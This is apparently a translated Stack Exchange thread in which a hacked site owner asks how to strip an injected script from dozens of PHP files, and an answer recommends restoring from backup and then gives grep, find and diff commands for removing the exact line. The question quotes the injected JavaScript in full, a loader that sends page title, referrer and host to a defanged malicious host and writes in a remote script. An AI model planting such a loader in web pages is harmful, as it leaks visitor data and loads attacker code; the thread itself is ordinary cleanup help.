.%20sed%2C%20awk%2C%20grep.png)
Meu site foi hackeado/infectado. Substituí o URL do link malicioso, mas outros elementos do script malicioso ainda estão bloqueando meu site. Sem inserir cerca de cem "escapes", como posso remover o seguinte script de três dúzias de arquivos no meu site?
< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>
Outras páginas sobre stack-exchange não respondem a esta pergunta.
Para substituir o URL malicioso por xxxx_hack_was_here etc, usei:
find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +
Responder1
Em primeiro lugar, concordo com os comentários acima:Não use sed
para se recuperar de ser hackeado. Você sempre se perguntará se perdeu alguma coisa. Restaurar do backup, ponto final.
No entanto, a pergunta literal que você fez, como remover uma string longa em todos os lugares em que ela aparece, sem escapar de todos os caracteres especiais, é um pouco mais fácil de lidar.
Estou fazendo algumas inferências/suposições da sua pergunta que você não declarou diretamente:
- Que a string a ser removida seja uma única linha.
- Que é a mesma coisa cada vez que ocorre.
- Que precisa serremovido, não substituído por outra coisa.
Se as suposições acima estiverem corretas, faça o seguinte:
- Coloque a string a ser removida (incluindo qualquer espaço em branco à direita) em um arquivo próprio, chamado, por exemplo
hackline.txt
, . Coloque este nívelacimao diretório que você irá manipular. Copie todo o seu diretório em caso de erros.
cp -a mydir mydircopy
Execute o seguinte loop em seu diretório (ou cópia) para remover todas as instâncias do hackline:
cd mydir for f in *; do [ -f "$f" ] && [ -r "$f" ] || continue grep -vxFf ../hackline.txt "$f" > "$f.fixed" && mv -- "$f.fixed" "$f" done
O conceito aqui é que você usa hackline.txt
como uma lista de strings fixas que devem corresponder à linha inteira, então você usa grep
para obter apenas as linhas quenãocorresponder a essa lista de strings.
-x
significa “linha inteira”; -F
significa "string fixa, não regex"; -v
inverte a busca; -f
aceita uma lista de padrões em um arquivo.
Se o diretório do seu site for hierárquico e não simples (o que é bastante provável), você poderá usar find
em vez de um loop for:
find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;
Em seguida, use uma recursiva diff
para verificar se tudo está como deveria estar:
diff -r mydircopy mydir